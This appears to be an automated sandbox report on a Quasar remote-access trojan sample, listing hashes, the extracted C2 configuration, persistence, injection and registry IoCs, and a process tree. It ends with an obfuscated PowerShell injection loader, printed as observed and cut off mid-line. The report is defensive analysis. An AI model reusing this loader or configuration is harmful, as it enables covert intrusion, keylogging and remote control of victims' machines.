quasar | 00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3

General

Target

Uni.exe
Size

409KB
MD5

7417c8c73e614f293152575f46134216
SHA1

cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805
SHA256

00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3
SHA512

897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0
SSDEEP

6144:nMr2pJAJcC0B632U3GRbMfgvKFFhTEDPX1NbKoEn5MSU+h2f8/14m:LpyJcC+82U3GRGGp1M5Ys2f8/6m

Score

10^/10

quasar slave spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SLAVE

C2

even-lemon.gl.at.ply.gg:33587

Mutex

$Sxr-dOMA5C0pQTTpKjVsCp

Attributes

encryption_key
UBXs44u6E81wxBGZxQHk
install_name
$sxr-powershell.exe
log_directory
$SXR-KEYLOGS
reconnect_delay
3000
startup_key
$sxr-powershell
subdirectory
$sxr-seroxen2

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
behavioral4/memory/1192-1-0x0000000000AB0000-0x0000000000B1C000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe	family_quasar

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 3248 created 4360 3248 WerFault.exe dllhost.exe

description	pid	process	target process
PID 3248 created 4360	3248	WerFault.exe	dllhost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

Processes:

powershell.EXEpowershell.EXEsvchost.exe

description	pid	process	target process
PID 3316 created 600	3316	powershell.EXE	winlogon.exe
PID 1984 created 600	1984	powershell.EXE	winlogon.exe
PID 4972 created 4360	4972	svchost.exe	dllhost.exe

Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

$sxr-powershell.exeinstall.exeinstall.exe

pid process

3572 $sxr-powershell.exe
4688 install.exe
3240 install.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

18 raw.githubusercontent.com
19 raw.githubusercontent.com
24 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

9 ip-api.com

pid	process
3572	$sxr-powershell.exe
4688	install.exe
3240	install.exe

flow	ioc
18	raw.githubusercontent.com
19	raw.githubusercontent.com
24	raw.githubusercontent.com

flow	ioc
9	ip-api.com

Drops file in System32 directory 5 IoCs

Processes:

powershell.EXEpowershell.EXEsvchost.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description	pid	process	target process
PID 3316 set thread context of 2332	3316	powershell.EXE	dllhost.exe
PID 1984 set thread context of 4360	1984	powershell.EXE	dllhost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WerFault.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeSCHTASKS.exeschtasks.exe

pid process

756 schtasks.exe
4712 SCHTASKS.exe
2744 schtasks.exe

pid	process
756	schtasks.exe
4712	SCHTASKS.exe
2744	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WerFault.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEpowershell.EXEOfficeClickToRun.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715189403"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE

Modifies registry class 10 IoCs

Processes:

RuntimeBroker.exeExplorer.EXERuntimeBroker.exesihost.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\CurrentWorkingDirectory	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\ManagedByApp	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\MostRecentlyUsed	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b0ee4a08-9beb-4a5c	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\WasEverActivated = "1"	sihost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.EXEpowershell.EXEdllhost.exe$sxr-powershell.exeWerFault.exesvchost.exe

pid	process
3316	powershell.EXE
3316	powershell.EXE
1984	powershell.EXE
1984	powershell.EXE
3316	powershell.EXE
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
1984	powershell.EXE
1984	powershell.EXE
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
3572	$sxr-powershell.exe
2332	dllhost.exe
2332	dllhost.exe
1368	WerFault.exe
1368	WerFault.exe
2332	dllhost.exe
2332	dllhost.exe
4972	svchost.exe
4972	svchost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
3572	$sxr-powershell.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Uni.exepowershell.EXE$sxr-powershell.exepowershell.EXEdllhost.exedwm.exeExplorer.EXE

description	pid	process
Token: SeDebugPrivilege	1192	Uni.exe
Token: SeDebugPrivilege	3316	powershell.EXE
Token: SeDebugPrivilege	3572	$sxr-powershell.exe
Token: SeDebugPrivilege	1984	powershell.EXE
Token: SeDebugPrivilege	3316	powershell.EXE
Token: SeDebugPrivilege	2332	dllhost.exe
Token: SeDebugPrivilege	1984	powershell.EXE
Token: SeShutdownPrivilege	336	dwm.exe
Token: SeCreatePagefilePrivilege	336	dwm.exe
Token: SeShutdownPrivilege	336	dwm.exe
Token: SeCreatePagefilePrivilege	336	dwm.exe
Token: SeShutdownPrivilege	336	dwm.exe
Token: SeCreatePagefilePrivilege	336	dwm.exe
Token: SeShutdownPrivilege	3556	Explorer.EXE
Token: SeCreatePagefilePrivilege	3556	Explorer.EXE
Token: SeShutdownPrivilege	336	dwm.exe
Token: SeCreatePagefilePrivilege	336	dwm.exe
Token: SeShutdownPrivilege	336	dwm.exe
Token: SeCreatePagefilePrivilege	336	dwm.exe
Token: SeShutdownPrivilege	336	dwm.exe
Token: SeCreatePagefilePrivilege	336	dwm.exe
Token: SeShutdownPrivilege	3556	Explorer.EXE
Token: SeCreatePagefilePrivilege	3556	Explorer.EXE
Token: SeShutdownPrivilege	336	dwm.exe
Token: SeCreatePagefilePrivilege	336	dwm.exe
Token: SeShutdownPrivilege	336	dwm.exe
Token: SeCreatePagefilePrivilege	336	dwm.exe
Token: SeShutdownPrivilege	336	dwm.exe
Token: SeCreatePagefilePrivilege	336	dwm.exe
Token: SeShutdownPrivilege	336	dwm.exe
Token: SeCreatePagefilePrivilege	336	dwm.exe
Token: SeShutdownPrivilege	3556	Explorer.EXE
Token: SeCreatePagefilePrivilege	3556	Explorer.EXE
Token: SeShutdownPrivilege	336	dwm.exe
Token: SeCreatePagefilePrivilege	336	dwm.exe
Token: SeShutdownPrivilege	336	dwm.exe
Token: SeCreatePagefilePrivilege	336	dwm.exe
Token: SeShutdownPrivilege	336	dwm.exe
Token: SeCreatePagefilePrivilege	336	dwm.exe
Token: SeShutdownPrivilege	336	dwm.exe
Token: SeCreatePagefilePrivilege	336	dwm.exe
Token: SeShutdownPrivilege	3556	Explorer.EXE
Token: SeCreatePagefilePrivilege	3556	Explorer.EXE
Token: SeShutdownPrivilege	336	dwm.exe
Token: SeCreatePagefilePrivilege	336	dwm.exe
Token: SeShutdownPrivilege	336	dwm.exe
Token: SeCreatePagefilePrivilege	336	dwm.exe
Token: SeShutdownPrivilege	336	dwm.exe
Token: SeCreatePagefilePrivilege	336	dwm.exe
Token: SeShutdownPrivilege	336	dwm.exe
Token: SeCreatePagefilePrivilege	336	dwm.exe
Token: SeShutdownPrivilege	336	dwm.exe
Token: SeCreatePagefilePrivilege	336	dwm.exe
Token: SeShutdownPrivilege	3556	Explorer.EXE
Token: SeCreatePagefilePrivilege	3556	Explorer.EXE
Token: SeShutdownPrivilege	3556	Explorer.EXE
Token: SeCreatePagefilePrivilege	3556	Explorer.EXE
Token: SeShutdownPrivilege	3556	Explorer.EXE
Token: SeCreatePagefilePrivilege	3556	Explorer.EXE
Token: SeShutdownPrivilege	3556	Explorer.EXE
Token: SeCreatePagefilePrivilege	3556	Explorer.EXE
Token: SeShutdownPrivilege	3556	Explorer.EXE
Token: SeCreatePagefilePrivilege	3556	Explorer.EXE
Token: SeShutdownPrivilege	3556	Explorer.EXE

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

$sxr-powershell.exe

pid process

3572 $sxr-powershell.exe
Suspicious use of UnmapMainImage 1 IoCs

Processes:

Explorer.EXE

pid process

3556 Explorer.EXE

pid	process
3572	$sxr-powershell.exe

pid	process
3556	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Uni.exe$sxr-powershell.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 1192 wrote to memory of 756	1192	Uni.exe	schtasks.exe
PID 1192 wrote to memory of 756	1192	Uni.exe	schtasks.exe
PID 1192 wrote to memory of 756	1192	Uni.exe	schtasks.exe
PID 1192 wrote to memory of 3572	1192	Uni.exe	$sxr-powershell.exe
PID 1192 wrote to memory of 3572	1192	Uni.exe	$sxr-powershell.exe
PID 1192 wrote to memory of 3572	1192	Uni.exe	$sxr-powershell.exe
PID 1192 wrote to memory of 4688	1192	Uni.exe	install.exe
PID 1192 wrote to memory of 4688	1192	Uni.exe	install.exe
PID 1192 wrote to memory of 4688	1192	Uni.exe	install.exe
PID 1192 wrote to memory of 4712	1192	Uni.exe	SCHTASKS.exe
PID 1192 wrote to memory of 4712	1192	Uni.exe	SCHTASKS.exe
PID 1192 wrote to memory of 4712	1192	Uni.exe	SCHTASKS.exe
PID 3572 wrote to memory of 2744	3572	$sxr-powershell.exe	schtasks.exe
PID 3572 wrote to memory of 2744	3572	$sxr-powershell.exe	schtasks.exe
PID 3572 wrote to memory of 2744	3572	$sxr-powershell.exe	schtasks.exe
PID 3572 wrote to memory of 3240	3572	$sxr-powershell.exe	install.exe
PID 3572 wrote to memory of 3240	3572	$sxr-powershell.exe	install.exe
PID 3572 wrote to memory of 3240	3572	$sxr-powershell.exe	install.exe
PID 3316 wrote to memory of 2332	3316	powershell.EXE	dllhost.exe
PID 3316 wrote to memory of 2332	3316	powershell.EXE	dllhost.exe
PID 3316 wrote to memory of 2332	3316	powershell.EXE	dllhost.exe
PID 3316 wrote to memory of 2332	3316	powershell.EXE	dllhost.exe
PID 3316 wrote to memory of 2332	3316	powershell.EXE	dllhost.exe
PID 3316 wrote to memory of 2332	3316	powershell.EXE	dllhost.exe
PID 3316 wrote to memory of 2332	3316	powershell.EXE	dllhost.exe
PID 3316 wrote to memory of 2332	3316	powershell.EXE	dllhost.exe
PID 2332 wrote to memory of 600	2332	dllhost.exe	winlogon.exe
PID 2332 wrote to memory of 680	2332	dllhost.exe	lsass.exe
PID 2332 wrote to memory of 956	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 336	2332	dllhost.exe	dwm.exe
PID 2332 wrote to memory of 760	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 1056	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 1124	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 1132	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 1180	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 1220	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 1264	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 1316	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 1360	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 1412	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 1464	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 1564	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 1580	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 1636	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 1728	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 1772	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 1780	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 1864	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 1972	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 2008	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 2024	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 1708	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 1952	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 2128	2332	dllhost.exe	spoolsv.exe
PID 2332 wrote to memory of 2216	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 2304	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 2452	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 2460	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 2636	2332	dllhost.exe	sihost.exe
PID 2332 wrote to memory of 2660	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 2760	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 2812	2332	dllhost.exe	svchost.exe
PID 2332 wrote to memory of 2832	2332	dllhost.exe	sysmon.exe
PID 2332 wrote to memory of 2844	2332	dllhost.exe	svchost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:600

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:336

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{0a80d9a3-5396-440c-a465-1ad0e938c235}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2332

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{805349d0-2127-44b7-aafd-fa8bf0feb782}
2⤵
PID:4360

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4360 -s 288
3⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:1368

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:760

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1056

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1180

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:2944

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:zMLfToattpdp{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$JpuVjlHZSbEarD,[Parameter(Position=1)][Type]$zANAsQYZpm)$tBGbcLAHQGC=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+'l'+'e'+'c'+[Char](116)+''+[Char](101)+''+[Char](100)+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+[Char](77)+'em'+'o'+'r'+'y'+''+'M'+''+'o'+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+'t'+''+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+'C'+'l'+'a'+''+[Char](115)+''+[Char](115)+''+','+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+'l'+''+[Char](101)+''+[Char](100)+','+'A'+''+[Char](110)+''+'s'+'i'+[Char](67)+'l'+'a'+'ss'+[Char](44)+'A'+[Char](117)+'t'+[Char](111)+''+'C'+''+[Char](108)+''+'a'+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$tBGbcLAHQGC.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+'a'+''+[Char](109)+'e'+','+''+'H'+'i'+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+'S'+''+'i'+'g,'+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$JpuVjlHZSbEarD).SetImplementationFlags('R'+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+'e'+','+[Char](77)+''